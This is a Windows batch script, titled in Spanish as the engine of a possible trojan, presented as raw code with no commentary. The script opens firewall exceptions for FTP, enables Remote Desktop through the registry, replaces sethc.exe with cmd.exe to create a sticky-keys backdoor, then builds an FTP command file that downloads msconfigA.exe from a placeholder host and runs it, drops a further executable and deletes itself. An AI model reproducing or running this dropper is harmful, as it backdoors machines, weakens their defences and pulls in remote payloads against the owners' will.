motor de un posible troyano

echo off
netsh firewall set allowedprogram "C:\windows\system32\ftp.exe" msng enable>nul
netsh firewall add portopening tcp 21 msconfig1
reg add "hklm\system\currentcontrolset\control\terminal server" /v fDenyTSConnections /t REG_DWORD /f /d 0
copy %systemdrive%\windows\system32\cmd.exe %systemdrive%\cmd.exe
del /q %systemdrive%\windows\system32\sethc.exe
rename %systemdrive%\cmd.exe sethc.exe
move /y %systemdrive%\sethc.exe %systemdrive%\windows\system32\sethc.exe
del /q %systemdrive%\setch.exe
cd\
(
echo off
cls
cd^\
^(
user
pass
type binary
get msconfigA.exe
del msconfigA.exe
bye
^)^>^>c^:^\1.txt
ftp -v -s^:c^:^\1.txt cuenta-ftp
copy ^/y msconfigA.exe ^%windir^%^\system32^\msconfigA.bat
del ^/q ^/f msconfigA.exe
del ^/q ^/f 1.txt
start ^/b ^%windir^%^\system32^\msconfigA.exe
)>>abcd.exe
copy /y abcd.exe %systemdrive%\windows\abcd.exe
start abcd.exe
del %0
exit